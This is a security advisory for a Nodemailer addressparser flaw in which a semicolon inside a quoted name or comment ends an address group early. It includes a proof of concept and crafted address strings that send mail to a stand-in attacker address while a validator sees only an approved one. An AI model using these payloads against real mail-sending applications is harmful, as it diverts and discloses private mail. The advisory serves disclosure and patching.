---
id: "GHSA-m943-m63m-w62w"
kind: "vulnerability"
aliases: ["GHSA-m943-m63m-w62w"]
title: "Nodemailer: A \";\" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient"
severity: "medium"
cvss: 6.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "nodemailer", "fixed": ["10.1.4"], "affected": ">= 3.0.0, < 10.1.4", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-20", "cwe-436", "email-sending-apps", "mailparser", "node.js", "nodemailer", "package"]
not_affected_if: ["no-user-controlled-recipient-fields", "nodemailer-below-3.0.0-or-at-10.1.4-or-later"]
published_at: "2026-10-23T21:51:52+00:00"
first_seen_at: "2026-10-23T21:56:55+00:00"
updated_at: "2026-10-23T21:57:08+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-m943-m63m-w62w", "first_seen_at": "2026-10-23T21:56:55+00:00"}]
---

# Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient

Nodemailer's address parser ends an RFC 5322 group at a semicolon inside a quoted name or comment, so attacker-supplied text is read as a live recipient. An attacker can redirect mail meant for an approved address to an address they choose.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:nodemailer affected >= 3.0.0, < 10.1.4 fixed 10.1.4

## How to check

Run `npm ls nodemailer` and check for a version from 3.0.0 up to but not including 10.1.4.
Search dependencies for mailparser, which also uses this parser.

## Fix

Upgrade nodemailer to 10.1.4 or later.
If an app passes user-supplied address lists to Nodemailer, also validate recipients after parsing and reject any group syntax from user input until upgraded.

## Timeline

- 2026-10-23T21:56:55+00:00 ghsa https://github.com/advisories/GHSA-m943-m63m-w62w

## Documents

- [discussion] @shcallaway: 9- GitHub/OSV advisories that don't have a CVE yet show up now too, so you hear  https://x.com/shcallaway/status/2113863540176294396

## From the sources

### Vulnerability summary

addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; <evil@evil.com>) <v@victim.com>;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.

### Attacker capabilities

The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.

### Realistic exploitation scenario

An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; <evil@evil.com>) <v@victim.com>;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: "a;" "<evil@evil.com>" <v@victim.com>;`. The boundary crossed is the application's recipient allow list.

### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" })` issues the RCPT TO shown above.

### Security impact

Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings and comments inside a group and reads only a `;` outside them.


Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
